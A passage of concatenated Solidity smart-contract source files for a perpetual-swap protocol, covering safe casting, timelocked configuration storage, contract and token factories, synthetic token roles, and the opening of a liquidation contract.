* class of bugs, so it's recommended to use it always.
*
* Can be combined with {SafeMath} to extend it to smaller types, by performing
* all math on `uint256` and then downcasting.
*/
library SafeCast {
/**
* @dev Returns the downcasted uint128 from uint256, reverting on
* overflow (when the input is greater than largest uint128).
*
* Counterpart to Solidity's `uint128` operator.
*
* Requirements:
*
* - input must fit into 128 bits
*/
function toUint128(uint256 value) internal pure returns (uint128) {
require(value < 2**128, "SafeCast: value doesn\'t fit in 128 bits");
return uint128(value);
}
/**
* @dev Returns the downcasted uint64 from uint256, reverting on
* overflow (when the input is greater than largest uint64).
*
* Counterpart to Solidity's `uint64` operator.
*
* Requirements:
*
* - input must fit into 64 bits
*/
function toUint64(uint256 value) internal pure returns (uint64) {
require(value < 2**64, "SafeCast: value doesn\'t fit in 64 bits");
return uint64(value);
}
/**
* @dev Returns the downcasted uint32 from uint256, reverting on
* overflow (when the input is greater than largest uint32).
*
* Counterpart to Solidity's `uint32` operator.
*
* Requirements:
*
* - input must fit into 32 bits
*/
function toUint32(uint256 value) internal pure returns (uint32) {
require(value < 2**32, "SafeCast: value doesn\'t fit in 32 bits");
return uint32(value);
}
/**
* @dev Returns the downcasted uint16 from uint256, reverting on
* overflow (when the input is greater than largest uint16).
*
* Counterpart to Solidity's `uint16` operator.
*
* Requirements:
*
* - input must fit into 16 bits
*/
function toUint16(uint256 value) internal pure returns (uint16) {
require(value < 2**16, "SafeCast: value doesn\'t fit in 16 bits");
return uint16(value);
}
/**
* @dev Returns the downcasted uint8 from uint256, reverting on
* overflow (when the input is greater than largest uint8).
*
* Counterpart to Solidity's `uint8` operator.
*
* Requirements:
*
* - input must fit into 8 bits.
*/
function toUint8(uint256 value) internal pure returns (uint8) {
require(value < 2**8, "SafeCast: value doesn\'t fit in 8 bits");
return uint8(value);
}
/**
* @dev Converts a signed int256 into an unsigned uint256.
*
* Requirements:
*
* - input must be greater than or equal to 0.
*/
function toUint256(int256 value) internal pure returns (uint256) {
require(value >= 0, "SafeCast: value must be positive");
return uint256(value);
}
/**
* @dev Converts an unsigned uint256 into a signed int256.
*
* Requirements:
*
* - input must be less than or equal to maxInt256.
*/
function toInt256(uint256 value) internal pure returns (int256) {
require(value < 2**255, "SafeCast: value doesn't fit in an int256");
return int256(value);
}
}
// SPDX-License-Identifier: AGPL-3.0-only
pragma solidity ^0.6.0;
pragma experimental ABIEncoderV2;
import "../../common/implementation/FixedPoint.sol";
interface ConfigStoreInterface {
// All of the configuration settings available for querying by a perpetual.
struct ConfigSettings {
// Liveness period (in seconds) for an update to currentConfig to become official.
uint256 timelockLiveness;
// Reward rate paid to successful proposers. Percentage of 1 E.g., .1 is 10%.
FixedPoint.Unsigned rewardRatePerSecond;
// Bond % (of given contract's PfC) that must be staked by proposers. Percentage of 1, e.g. 0.0005 is 0.05%.
FixedPoint.Unsigned proposerBondPercentage;
// Maximum funding rate % per second that can be proposed.
FixedPoint.Signed maxFundingRate;
// Minimum funding rate % per second that can be proposed.
FixedPoint.Signed minFundingRate;
// Funding rate proposal timestamp cannot be more than this amount of seconds in the past from the latest
// update time.
uint256 proposalTimePastLimit;
}
function updateAndGetCurrentConfig() external returns (ConfigSettings memory);
}
// SPDX-License-Identifier: AGPL-3.0-only
pragma solidity ^0.6.0;
pragma experimental ABIEncoderV2;
import "@openzeppelin/contracts/math/SafeMath.sol";
/**
* @title EmergencyShutdownable contract.
* @notice Any contract that inherits this contract will have an emergency shutdown timestamp state variable.
* This contract provides modifiers that can be used by children contracts to determine if the contract is
* in the shutdown state. The child contract is expected to implement the logic that happens
* once a shutdown occurs.
*/
abstract contract EmergencyShutdownable {
using SafeMath for uint256;
/****************************************
* EMERGENCY SHUTDOWN DATA STRUCTURES *
****************************************/
// Timestamp used in case of emergency shutdown. 0 if no shutdown has been triggered.
uint256 public emergencyShutdownTimestamp;
/****************************************
* MODIFIERS *
****************************************/
modifier notEmergencyShutdown() {
_notEmergencyShutdown();
_;
}
modifier isEmergencyShutdown() {
_isEmergencyShutdown();
_;
}
/****************************************
* EXTERNAL FUNCTIONS *
****************************************/
constructor() public {
emergencyShutdownTimestamp = 0;
}
/****************************************
* INTERNAL FUNCTIONS *
****************************************/
function _notEmergencyShutdown() internal view {
// Note: removed require string to save bytecode.
require(emergencyShutdownTimestamp == 0);
}
function _isEmergencyShutdown() internal view {
// Note: removed require string to save bytecode.
require(emergencyShutdownTimestamp != 0);
}
}
// SPDX-License-Identifier: AGPL-3.0-only
pragma solidity ^0.6.0;
pragma experimental ABIEncoderV2;
import "../common/FundingRateApplier.sol";
import "../../common/implementation/FixedPoint.sol";
// Implements FundingRateApplier internal methods to enable unit testing.
contract FundingRateApplierTest is FundingRateApplier {
constructor(
bytes32 _fundingRateIdentifier,
address _collateralAddress,
address _finderAddress,
address _configStoreAddress,
FixedPoint.Unsigned memory _tokenScaling,
address _timerAddress
)
public
FundingRateApplier(
_fundingRateIdentifier,
_collateralAddress,
_finderAddress,
_configStoreAddress,
_tokenScaling,
_timerAddress
)
{}
function calculateEffectiveFundingRate(
uint256 paymentPeriodSeconds,
FixedPoint.Signed memory fundingRatePerSecond,
FixedPoint.Unsigned memory currentCumulativeFundingRateMultiplier
) public pure returns (FixedPoint.Unsigned memory) {
return
_calculateEffectiveFundingRate(
paymentPeriodSeconds,
fundingRatePerSecond,
currentCumulativeFundingRateMultiplier
);
}
// Required overrides.
function _pfc() internal view virtual override returns (FixedPoint.Unsigned memory currentPfc) {
return FixedPoint.Unsigned(collateralCurrency.balanceOf(address(this)));
}
function emergencyShutdown() external override {}
function remargin() external override {}
function _getTokenAddress() internal view override returns (address) {
return address(collateralCurrency);
}
}
// SPDX-License-Identifier: AGPL-3.0-only
pragma solidity ^0.6.0;
pragma experimental ABIEncoderV2;
import "@openzeppelin/contracts/math/SafeMath.sol";
import "@openzeppelin/contracts/access/Ownable.sol";
import "./ConfigStoreInterface.sol";
import "../../common/implementation/Testable.sol";
import "../../common/implementation/Lockable.sol";
import "../../common/implementation/FixedPoint.sol";
/**
* @notice ConfigStore stores configuration settings for a perpetual contract and provides an interface for it
* to query settings such as reward rates, proposal bond sizes, etc. The configuration settings can be upgraded
* by a privileged account and the upgraded changes are timelocked.
*/
contract ConfigStore is ConfigStoreInterface, Testable, Lockable, Ownable {
using SafeMath for uint256;
using FixedPoint for FixedPoint.Unsigned;
/****************************************
* STORE DATA STRUCTURES *
****************************************/
// Make currentConfig private to force user to call getCurrentConfig, which returns the pendingConfig
// if its liveness has expired.
ConfigStoreInterface.ConfigSettings private currentConfig;
// Beginning on `pendingPassedTimestamp`, the `pendingConfig` can be published as the current config.
ConfigStoreInterface.ConfigSettings public pendingConfig;
uint256 public pendingPassedTimestamp;
/****************************************
* EVENTS *
****************************************/
event ProposedNewConfigSettings(
address indexed proposer,
uint256 rewardRatePerSecond,
uint256 proposerBondPercentage,
uint256 timelockLiveness,
int256 maxFundingRate,
int256 minFundingRate,
uint256 proposalTimePastLimit,
uint256 proposalPassedTimestamp
);
event ChangedConfigSettings(
uint256 rewardRatePerSecond,
uint256 proposerBondPercentage,
uint256 timelockLiveness,
int256 maxFundingRate,
int256 minFundingRate,
uint256 proposalTimePastLimit
);
/****************************************
* MODIFIERS *
****************************************/
// Update config settings if possible.
modifier updateConfig() {
_updateConfig();
_;
}
/**
* @notice Construct the Config Store. An initial configuration is provided and set on construction.
* @param _initialConfig Configuration settings to initialize `currentConfig` with.
* @param _timerAddress Address of testable Timer contract.
*/
constructor(ConfigSettings memory _initialConfig, address _timerAddress) public Testable(_timerAddress) {
_validateConfig(_initialConfig);
currentConfig = _initialConfig;
}
/**
* @notice Returns current config or pending config if pending liveness has expired.
* @return ConfigSettings config settings that calling financial contract should view as "live".
*/
function updateAndGetCurrentConfig()
external
override
updateConfig()
nonReentrant()
returns (ConfigStoreInterface.ConfigSettings memory)
{
return currentConfig;
}
/**
* @notice Propose new configuration settings. New settings go into effect after a liveness period passes.
* @param newConfig Configuration settings to publish after `currentConfig.timelockLiveness` passes from now.
* @dev Callable only by owner. Calling this while there is already a pending proposal will overwrite the pending proposal.
*/
function proposeNewConfig(ConfigSettings memory newConfig) external onlyOwner() nonReentrant() updateConfig() {
_validateConfig(newConfig);
// Warning: This overwrites a pending proposal!
pendingConfig = newConfig;
// Use current config's liveness period to timelock this proposal.
pendingPassedTimestamp = getCurrentTime().add(currentConfig.timelockLiveness);
emit ProposedNewConfigSettings(
msg.sender,
newConfig.rewardRatePerSecond.rawValue,
newConfig.proposerBondPercentage.rawValue,
newConfig.timelockLiveness,
newConfig.maxFundingRate.rawValue,
newConfig.minFundingRate.rawValue,
newConfig.proposalTimePastLimit,
pendingPassedTimestamp
);
}
/**
* @notice Publish any pending configuration settings if there is a pending proposal that has passed liveness.
*/
function publishPendingConfig() external nonReentrant() updateConfig() {}
/****************************************
* INTERNAL FUNCTIONS *
****************************************/
// Check if pending proposal can overwrite the current config.
function _updateConfig() internal {
// If liveness has passed, publish proposed configuration settings.
if (_pendingProposalPassed()) {
currentConfig = pendingConfig;
_deletePendingConfig();
emit ChangedConfigSettings(
currentConfig.rewardRatePerSecond.rawValue,
currentConfig.proposerBondPercentage.rawValue,
currentConfig.timelockLiveness,
currentConfig.maxFundingRate.rawValue,
currentConfig.minFundingRate.rawValue,
currentConfig.proposalTimePastLimit
);
}
}
function _deletePendingConfig() internal {
delete pendingConfig;
pendingPassedTimestamp = 0;
}
function _pendingProposalPassed() internal view returns (bool) {
return (pendingPassedTimestamp != 0 && pendingPassedTimestamp <= getCurrentTime());
}
// Use this method to constrain values with which you can set ConfigSettings.
function _validateConfig(ConfigStoreInterface.ConfigSettings memory config) internal pure {
// We don't set limits on proposal timestamps because there are already natural limits:
// - Future: price requests to the OptimisticOracle must be in the past---we can't add further constraints.
// - Past: proposal times must always be after the last update time, and a reasonable past limit would be 30
// mins, meaning that no proposal timestamp can be more than 30 minutes behind the current time.
// Make sure timelockLiveness is not too long, otherwise contract might not be able to fix itself
// before a vulnerability drains its collateral.
require(config.timelockLiveness <= 7 days && config.timelockLiveness >= 1 days, "Invalid timelockLiveness");
// The reward rate should be modified as needed to incentivize honest proposers appropriately.
// Additionally, the rate should be less than 100% a year => 100% / 360 days / 24 hours / 60 mins / 60 secs
// = 0.0000033
FixedPoint.Unsigned memory maxRewardRatePerSecond = FixedPoint.fromUnscaledUint(33).div(1e7);
require(config.rewardRatePerSecond.isLessThan(maxRewardRatePerSecond), "Invalid rewardRatePerSecond");
// We don't set a limit on the proposer bond because it is a defense against dishonest proposers. If a proposer
// were to successfully propose a very high or low funding rate, then their PfC would be very high. The proposer
// could theoretically keep their "evil" funding rate alive indefinitely by continuously disputing honest
// proposers, so we would want to be able to set the proposal bond (equal to the dispute bond) higher than their
// PfC for each proposal liveness window. The downside of not limiting this is that the config store owner
// can set it arbitrarily high and preclude a new funding rate from ever coming in. We suggest setting the
// proposal bond based on the configuration's funding rate range like in this discussion:
// https://github.com/UMAprotocol/protocol/issues/2039#issuecomment-719734383
// We also don't set a limit on the funding rate max/min because we might need to allow very high magnitude
// funding rates in extraordinarily volatile market situations. Note, that even though we do not bound
// the max/min, we still recommend that the deployer of this contract set the funding rate max/min values
// to bound the PfC of a dishonest proposer. A reasonable range might be the equivalent of [+200%/year, -200%/year].
}
}
// SPDX-License-Identifier: AGPL-3.0-only
pragma solidity ^0.6.0;
pragma experimental ABIEncoderV2;
import "../../common/interfaces/ExpandedIERC20.sol";
import "../../common/interfaces/IERC20Standard.sol";
import "../../oracle/implementation/ContractCreator.sol";
import "../../common/implementation/Testable.sol";
import "../../common/implementation/AddressWhitelist.sol";
import "../../common/implementation/Lockable.sol";
import "../common/TokenFactory.sol";
import "../common/SyntheticToken.sol";
import "./PerpetualLib.sol";
import "./ConfigStore.sol";
/**
* @title Perpetual Contract creator.
* @notice Factory contract to create and register new instances of perpetual contracts.
* Responsible for constraining the parameters used to construct a new perpetual. This creator contains a number of constraints
* that are applied to newly created contract. These constraints can evolve over time and are
* initially constrained to conservative values in this first iteration. Technically there is nothing in the
* Perpetual contract requiring these constraints. However, because `createPerpetual()` is intended
* to be the only way to create valid financial contracts that are registered with the DVM (via _registerContract),
we can enforce deployment configurations here.
*/
contract PerpetualCreator is ContractCreator, Testable, Lockable {
using FixedPoint for FixedPoint.Unsigned;
/****************************************
* PERP CREATOR DATA STRUCTURES *
****************************************/
// Immutable params for perpetual contract.
struct Params {
address collateralAddress;
bytes32 priceFeedIdentifier;
bytes32 fundingRateIdentifier;
string syntheticName;
string syntheticSymbol;
FixedPoint.Unsigned collateralRequirement;
FixedPoint.Unsigned disputeBondPercentage;
FixedPoint.Unsigned sponsorDisputeRewardPercentage;
FixedPoint.Unsigned disputerDisputeRewardPercentage;
FixedPoint.Unsigned minSponsorTokens;
FixedPoint.Unsigned tokenScaling;
uint256 withdrawalLiveness;
uint256 liquidationLiveness;
}
// Address of TokenFactory used to create a new synthetic token.
address public tokenFactoryAddress;
event CreatedPerpetual(address indexed perpetualAddress, address indexed deployerAddress);
event CreatedConfigStore(address indexed configStoreAddress, address indexed ownerAddress);
/**
* @notice Constructs the Perpetual contract.
* @param _finderAddress UMA protocol Finder used to discover other protocol contracts.
* @param _tokenFactoryAddress ERC20 token factory used to deploy synthetic token instances.
* @param _timerAddress Contract that stores the current time in a testing environment.
*/
constructor(
address _finderAddress,
address _tokenFactoryAddress,
address _timerAddress
) public ContractCreator(_finderAddress) Testable(_timerAddress) nonReentrant() {
tokenFactoryAddress = _tokenFactoryAddress;
}
/**
* @notice Creates an instance of perpetual and registers it within the registry.
* @param params is a `ConstructorParams` object from Perpetual.
* @return address of the deployed contract.
*/
function createPerpetual(Params memory params, ConfigStore.ConfigSettings memory configSettings)
public
nonReentrant()
returns (address)
{
require(bytes(params.syntheticName).length != 0, "Missing synthetic name");
require(bytes(params.syntheticSymbol).length != 0, "Missing synthetic symbol");
// Create new config settings store for this contract and reset ownership to the deployer.
ConfigStore configStore = new ConfigStore(configSettings, timerAddress);
configStore.transferOwnership(msg.sender);
emit CreatedConfigStore(address(configStore), configStore.owner());
// Create a new synthetic token using the params.
TokenFactory tf = TokenFactory(tokenFactoryAddress);
// If the collateral token does not have a `decimals()` method,
// then a default precision of 18 will be applied to the newly created synthetic token.
uint8 syntheticDecimals = _getSyntheticDecimals(params.collateralAddress);
ExpandedIERC20 tokenCurrency = tf.createToken(params.syntheticName, params.syntheticSymbol, syntheticDecimals);
address derivative = PerpetualLib.deploy(_convertParams(params, tokenCurrency, address(configStore)));
// Give permissions to new derivative contract and then hand over ownership.
tokenCurrency.addMinter(derivative);
tokenCurrency.addBurner(derivative);
tokenCurrency.resetOwner(derivative);
_registerContract(new address[](0), derivative);
emit CreatedPerpetual(derivative, msg.sender);
return derivative;
}
/****************************************
* PRIVATE FUNCTIONS *
****************************************/
// Converts createPerpetual params to Perpetual constructor params.
function _convertParams(
Params memory params,
ExpandedIERC20 newTokenCurrency,
address configStore
) private view returns (Perpetual.ConstructorParams memory constructorParams) {
// Known from creator deployment.
constructorParams.finderAddress = finderAddress;
constructorParams.timerAddress = timerAddress;
// Enforce configuration constraints.
require(params.withdrawalLiveness != 0, "Withdrawal liveness cannot be 0");
require(params.liquidationLiveness != 0, "Liquidation liveness cannot be 0");
_requireWhitelistedCollateral(params.collateralAddress);
// We don't want perpetual deployers to be able to intentionally or unintentionally set
// liveness periods that could induce arithmetic overflow, but we also don't want
// to be opinionated about what livenesses are "correct", so we will somewhat
// arbitrarily set the liveness upper bound to 100 years (5200 weeks). In practice, liveness
// periods even greater than a few days would make the perpetual unusable for most users.
require(params.withdrawalLiveness < 5200 weeks, "Withdrawal liveness too large");
require(params.liquidationLiveness < 5200 weeks, "Liquidation liveness too large");
// To avoid precision loss or overflows, prevent the token scaling from being too large or too small.
FixedPoint.Unsigned memory minScaling = FixedPoint.Unsigned(1e8); // 1e-10
FixedPoint.Unsigned memory maxScaling = FixedPoint.Unsigned(1e28); // 1e10
require(
params.tokenScaling.isGreaterThan(minScaling) && params.tokenScaling.isLessThan(maxScaling),
"Invalid tokenScaling"
);
// Input from function call.
constructorParams.configStoreAddress = configStore;
constructorParams.tokenAddress = address(newTokenCurrency);
constructorParams.collateralAddress = params.collateralAddress;
constructorParams.priceFeedIdentifier = params.priceFeedIdentifier;
constructorParams.fundingRateIdentifier = params.fundingRateIdentifier;
constructorParams.collateralRequirement = params.collateralRequirement;
constructorParams.disputeBondPercentage = params.disputeBondPercentage;
constructorParams.sponsorDisputeRewardPercentage = params.sponsorDisputeRewardPercentage;
constructorParams.disputerDisputeRewardPercentage = params.disputerDisputeRewardPercentage;
constructorParams.minSponsorTokens = params.minSponsorTokens;
constructorParams.withdrawalLiveness = params.withdrawalLiveness;
constructorParams.liquidationLiveness = params.liquidationLiveness;
constructorParams.tokenScaling = params.tokenScaling;
}
// IERC20Standard.decimals() will revert if the collateral contract has not implemented the decimals() method,
// which is possible since the method is only an OPTIONAL method in the ERC20 standard:
// https://eips.ethereum.org/EIPS/eip-20#methods.
function _getSyntheticDecimals(address _collateralAddress) public view returns (uint8 decimals) {
try IERC20Standard(_collateralAddress).decimals() returns (uint8 _decimals) {
return _decimals;
} catch {
return 18;
}
}
}
// SPDX-License-Identifier: AGPL-3.0-only
pragma solidity ^0.6.0;
import "../interfaces/FinderInterface.sol";
import "../../common/implementation/AddressWhitelist.sol";
import "./Registry.sol";
import "./Constants.sol";
/**
* @title Base contract for all financial contract creators
*/
abstract contract ContractCreator {
address internal finderAddress;
constructor(address _finderAddress) public {
finderAddress = _finderAddress;
}
function _requireWhitelistedCollateral(address collateralAddress) internal view {
FinderInterface finder = FinderInterface(finderAddress);
AddressWhitelist collateralWhitelist =
AddressWhitelist(finder.getImplementationAddress(OracleInterfaces.CollateralWhitelist));
require(collateralWhitelist.isOnWhitelist(collateralAddress), "Collateral not whitelisted");
}
function _registerContract(address[] memory parties, address contractToRegister) internal {
FinderInterface finder = FinderInterface(finderAddress);
Registry registry = Registry(finder.getImplementationAddress(OracleInterfaces.Registry));
registry.registerContract(parties, contractToRegister);
}
}
// SPDX-License-Identifier: AGPL-3.0-only
pragma solidity ^0.6.0;
import "./SyntheticToken.sol";
import "../../common/interfaces/ExpandedIERC20.sol";
import "../../common/implementation/Lockable.sol";
/**
* @title Factory for creating new mintable and burnable tokens.
*/
contract TokenFactory is Lockable {
/**
* @notice Create a new token and return it to the caller.
* @dev The caller will become the only minter and burner and the new owner capable of assigning the roles.
* @param tokenName used to describe the new token.
* @param tokenSymbol short ticker abbreviation of the name. Ideally < 5 chars.
* @param tokenDecimals used to define the precision used in the token's numerical representation.
* @return newToken an instance of the newly created token interface.
*/
function createToken(
string calldata tokenName,
string calldata tokenSymbol,
uint8 tokenDecimals
) external nonReentrant() returns (ExpandedIERC20 newToken) {
SyntheticToken mintableToken = new SyntheticToken(tokenName, tokenSymbol, tokenDecimals);
mintableToken.addMinter(msg.sender);
mintableToken.addBurner(msg.sender);
mintableToken.resetOwner(msg.sender);
newToken = ExpandedIERC20(address(mintableToken));
}
}
// SPDX-License-Identifier: AGPL-3.0-only
pragma solidity ^0.6.0;
import "../../common/implementation/ExpandedERC20.sol";
import "../../common/implementation/Lockable.sol";
/**
* @title Burnable and mintable ERC20.
* @dev The contract deployer will initially be the only minter, burner and owner capable of adding new roles.
*/
contract SyntheticToken is ExpandedERC20, Lockable {
/**
* @notice Constructs the SyntheticToken.
* @param tokenName The name which describes the new token.
* @param tokenSymbol The ticker abbreviation of the name. Ideally < 5 chars.
* @param tokenDecimals The number of decimals to define token precision.
*/
constructor(
string memory tokenName,
string memory tokenSymbol,
uint8 tokenDecimals
) public ExpandedERC20(tokenName, tokenSymbol, tokenDecimals) nonReentrant() {}
/**
* @notice Add Minter role to account.
* @dev The caller must have the Owner role.
* @param account The address to which the Minter role is added.
*/
function addMinter(address account) external override nonReentrant() {
addMember(uint256(Roles.Minter), account);
}
/**
* @notice Remove Minter role from account.
* @dev The caller must have the Owner role.
* @param account The address from which the Minter role is removed.
*/
function removeMinter(address account) external nonReentrant() {
removeMember(uint256(Roles.Minter), account);
}
/**
* @notice Add Burner role to account.
* @dev The caller must have the Owner role.
* @param account The address to which the Burner role is added.
*/
function addBurner(address account) external override nonReentrant() {
addMember(uint256(Roles.Burner), account);
}
/**
* @notice Removes Burner role from account.
* @dev The caller must have the Owner role.
* @param account The address from which the Burner role is removed.
*/
function removeBurner(address account) external nonReentrant() {
removeMember(uint256(Roles.Burner), account);
}
/**
* @notice Reset Owner role to account.
* @dev The caller must have the Owner role.
* @param account The new holder of the Owner role.
*/
function resetOwner(address account) external override nonReentrant() {
resetMember(uint256(Roles.Owner), account);
}
/**
* @notice Checks if a given account holds the Minter role.
* @param account The address which is checked for the Minter role.
* @return bool True if the provided account is a Minter.
*/
function isMinter(address account) public view nonReentrantView() returns (bool) {
return holdsRole(uint256(Roles.Minter), account);
}
/**
* @notice Checks if a given account holds the Burner role.
* @param account The address which is checked for the Burner role.
* @return bool True if the provided account is a Burner.
*/
function isBurner(address account) public view nonReentrantView() returns (bool) {
return holdsRole(uint256(Roles.Burner), account);
}
}
// SPDX-License-Identifier: AGPL-3.0-only
pragma solidity ^0.6.0;
pragma experimental ABIEncoderV2;
import "./Perpetual.sol";
/**
* @title Provides convenient Perpetual Multi Party contract utilities.
* @dev Using this library to deploy Perpetuals allows calling contracts to avoid importing the full bytecode.
*/
library PerpetualLib {
/**
* @notice Returns address of new Perpetual deployed with given `params` configuration.
* @dev Caller will need to register new Perpetual with the Registry to begin requesting prices. Caller is also
* responsible for enforcing constraints on `params`.
* @param params is a `ConstructorParams` object from Perpetual.
* @return address of the deployed Perpetual contract
*/
function deploy(Perpetual.ConstructorParams memory params) public returns (address) {
Perpetual derivative = new Perpetual(params);
return address(derivative);
}
}
// SPDX-License-Identifier: AGPL-3.0-only
pragma solidity ^0.6.0;
pragma experimental ABIEncoderV2;
import "./PerpetualLiquidatable.sol";
/**
* @title Perpetual Multiparty Contract.
* @notice Convenient wrapper for Liquidatable.
*/
contract Perpetual is PerpetualLiquidatable {
/**
* @notice Constructs the Perpetual contract.
* @param params struct to define input parameters for construction of Liquidatable. Some params
* are fed directly into the PositionManager's constructor within the inheritance tree.
*/
constructor(ConstructorParams memory params)
public
PerpetualLiquidatable(params)
// Note: since there is no logic here, there is no need to add a re-entrancy guard.
{
}
}
// SPDX-License-Identifier: AGPL-3.0-only
pragma solidity ^0.6.0;
pragma experimental ABIEncoderV2;
import "@openzeppelin/contracts/math/SafeMath.sol";
import "@openzeppelin/contracts/token/ERC20/SafeERC20.sol";
import "./PerpetualPositionManager.sol";
import "../../common/implementation/FixedPoint.sol";
/**
* @title PerpetualLiquidatable
* @notice Adds logic to a position-managing contract that enables callers to liquidate an undercollateralized position.
* @dev The liquidation has a liveness period before expiring successfully, during which someone can "dispute" the
* liquidation, which sends a price request to the relevant Oracle to settle the final collateralization ratio based on
* a DVM price. The contract enforces dispute rewards in order to incentivize disputers to correctly dispute false
* liquidations and compensate position sponsors who had their position incorrectly liquidated. Importantly, a
* prospective disputer must deposit a dispute bond that they can lose in the case of an unsuccessful dispute.
* NOTE: this contract does _not_ work with ERC777 collateral currencies or any others that call into the receiver on
* transfer(). Using an ERC777 token would allow a user to maliciously grief other participants (while also losing
* money themselves).
*/
contract PerpetualLiquidatable is PerpetualPositionManager {
using FixedPoint for FixedPoint.Unsigned;
using SafeMath for uint256;
using SafeERC20 for IERC20;
/****************************************
* LIQUIDATION DATA STRUCTURES *
****************************************/
// Because of the check in withdrawable(), the order of these enum values should not change.
enum Status { Uninitialized, NotDisputed, Disputed, DisputeSucceeded, DisputeFailed }
struct LiquidationData {
// Following variables set upon creation of liquidation:
address sponsor; // Address of the liquidated position's sponsor
address liquidator; // Address who created this liquidation
Status state; // Liquidated (and expired or not), Pending a Dispute, or Dispute has resolved
uint256 liquidationTime; // Time when liquidation is initiated, needed to get price from Oracle
// Following variables determined by the position that is being liquidated:
FixedPoint.Unsigned tokensOutstanding; // Synthetic tokens required to be burned by liquidator to initiate dispute
FixedPoint.Unsigned lockedCollateral; // Collateral locked by contract and released upon expiry or post-dispute
// Amount of collateral being liquidated, which could be different from
// lockedCollateral if there were pending withdrawals at the time of liquidation
FixedPoint.Unsigned liquidatedCollateral;
// Unit value (starts at 1) that is used to track the fees per unit of collateral over the course of the liquidation.
FixedPoint.Unsigned rawUnitCollateral;
// Following variable set upon initiation of a dispute:
address disputer; // Person who is disputing a liquidation
// Following variable set upon a resolution of a dispute:
FixedPoint.Unsigned settlementPrice; // Final price as determined by an Oracle following a dispute
FixedPoint.Unsigned finalFee;
}
// Define the contract's constructor parameters as a struct to enable more variables to be specified.
// This is required to enable more params, over and above Solidity's limits.
struct ConstructorParams {
// Params for PerpetualPositionManager only.
uint256 withdrawalLiveness;
address configStoreAddress;
address collateralAddress;
address tokenAddress;
address finderAddress;
address timerAddress;
bytes32 priceFeedIdentifier;
bytes32 fundingRateIdentifier;
FixedPoint.Unsigned minSponsorTokens;
FixedPoint.Unsigned tokenScaling;
// Params specifically for PerpetualLiquidatable.
uint256 liquidationLiveness;
FixedPoint.Unsigned collateralRequirement;
FixedPoint.Unsigned disputeBondPercentage;
FixedPoint.Unsigned sponsorDisputeRewardPercentage;
FixedPoint.Unsigned disputerDisputeRewardPercentage;
}
// This struct is used in the `withdrawLiquidation` method that disperses liquidation and dispute rewards.
// `payToX` stores the total collateral to withdraw from the contract to pay X. This value might differ
// from `paidToX` due to precision loss between accounting for the `rawCollateral` versus the
// fee-adjusted collateral. These variables are stored within a struct to avoid the stack too deep error.
struct RewardsData {
FixedPoint.Unsigned payToSponsor;
FixedPoint.Unsigned payToLiquidator;
FixedPoint.Unsigned payToDisputer;
FixedPoint.Unsigned paidToSponsor;
FixedPoint.Unsigned paidToLiquidator;
FixedPoint.Unsigned paidToDisputer;
}
// Liquidations are unique by ID per sponsor
mapping(address => LiquidationData[]) public liquidations;
// Total collateral in liquidation.
FixedPoint.Unsigned public rawLiquidationCollateral;
// Immutable contract parameters:
// Amount of time for pending liquidation before expiry.
// !!Note: The lower the liquidation liveness value, the more risk incurred by sponsors.
// Extremely low liveness values increase the chance that opportunistic invalid liquidations
// expire without dispute, thereby decreasing the usability for sponsors and increasing the risk
// for the contract as a whole. An insolvent contract is extremely risky for any sponsor or synthetic
// token holder for the contract.
uint256 public liquidationLiveness;
// Required collateral:TRV ratio for a position to be considered sufficiently collateralized.
FixedPoint.Unsigned public collateralRequirement;
// Percent of a Liquidation/Position's lockedCollateral to be deposited by a potential disputer
// Represented as a multiplier, for example 1.5e18 = "150%" and 0.05e18 = "5%"
FixedPoint.Unsigned public disputeBondPercentage;
// Percent of oraclePrice paid to sponsor in the Disputed state (i.e. following a successful dispute)
// Represented as a multiplier, see above.
FixedPoint.Unsigned public sponsorDisputeRewardPercentage;
// Percent of oraclePrice paid to disputer in the Disputed state (i.e. following a successful dispute)
// Represented as a multiplier, see above.
FixedPoint.Unsigned public disputerDisputeRewardPercentage;
/****************************************
* EVENTS *
****************************************/
event LiquidationCreated(
address indexed sponsor,
address indexed liquidator,
uint256 indexed liquidationId,
uint256 tokensOutstanding,
uint256 lockedCollateral,
uint256 liquidatedCollateral,
uint256 liquidationTime
);
event LiquidationDisputed(
address indexed sponsor,
address indexed liquidator,
address indexed disputer,
uint256 liquidationId,
uint256 disputeBondAmount
);
event DisputeSettled(
address indexed caller,
address indexed sponsor,
address indexed liquidator,
address disputer,
uint256 liquidationId,
bool disputeSucceeded
);
event LiquidationWithdrawn(
address indexed caller,
uint256 paidToLiquidator,
uint256 paidToDisputer,
uint256 paidToSponsor,
Status indexed liquidationStatus,
uint256 settlementPrice
);
/****************************************
* MODIFIERS *
****************************************/
modifier disputable(uint256 liquidationId, address sponsor) {
_disputable(liquidationId, sponsor);
_;
}
modifier withdrawable(uint256 liquidationId, address sponsor) {
_withdrawable(liquidationId, sponsor);
_;
}
/**
* @notice Constructs the liquidatable contract.
* @param params struct to define input parameters for construction of Liquidatable. Some params
* are fed directly into the PositionManager's constructor within the inheritance tree.
*/
constructor(ConstructorParams memory params)
public
PerpetualPositionManager(
params.withdrawalLiveness,
params.collateralAddress,
params.tokenAddress,
params.finderAddress,
params.priceFeedIdentifier,
params.fundingRateIdentifier,
params.minSponsorTokens,
params.configStoreAddress,
params.tokenScaling,
params.timerAddress
)
{
require(params.collateralRequirement.isGreaterThan(1));
require(params.sponsorDisputeRewardPercentage.add(params.disputerDisputeRewardPercentage).isLessThan(1));
// Set liquidatable specific variables.
liquidationLiveness = params.liquidationLiveness;
collateralRequirement = params.collateralRequirement;
disputeBondPercentage = params.disputeBondPercentage;
sponsorDisputeRewardPercentage = params.sponsorDisputeRewardPercentage;
disputerDisputeRewardPercentage = params.disputerDisputeRewardPercentage;
}
/****************************************
* LIQUIDATION FUNCTIONS *
****************************************/
/**
* @notice Liquidates the sponsor's position if the caller has enough
* synthetic tokens to retire the position's outstanding tokens. Liquidations above
* a minimum size also reset an ongoing "slow withdrawal"'s liveness.
* @dev This method generates an ID that will uniquely identify liquidation for the sponsor. This contract must be
* approved to spend at least `tokensLiquidated` of `tokenCurrency` and at least `finalFeeBond` of `collateralCurrency`.
* @dev This contract must have the Burner role for the `tokenCurrency`.
* @param sponsor address of the sponsor to liquidate.
* @param minCollateralPerToken abort the liquidation if the position's collateral per token is below this value.
* @param maxCollateralPerToken abort the liquidation if the position's collateral per token exceeds this value.
* @param maxTokensToLiquidate max number of tokens to liquidate.
* @param deadline abort the liquidation if the transaction is mined after this timestamp.
* @return liquidationId ID of the newly created liquidation.
* @return tokensLiquidated amount of synthetic tokens removed and liquidated from the `sponsor`'s position.
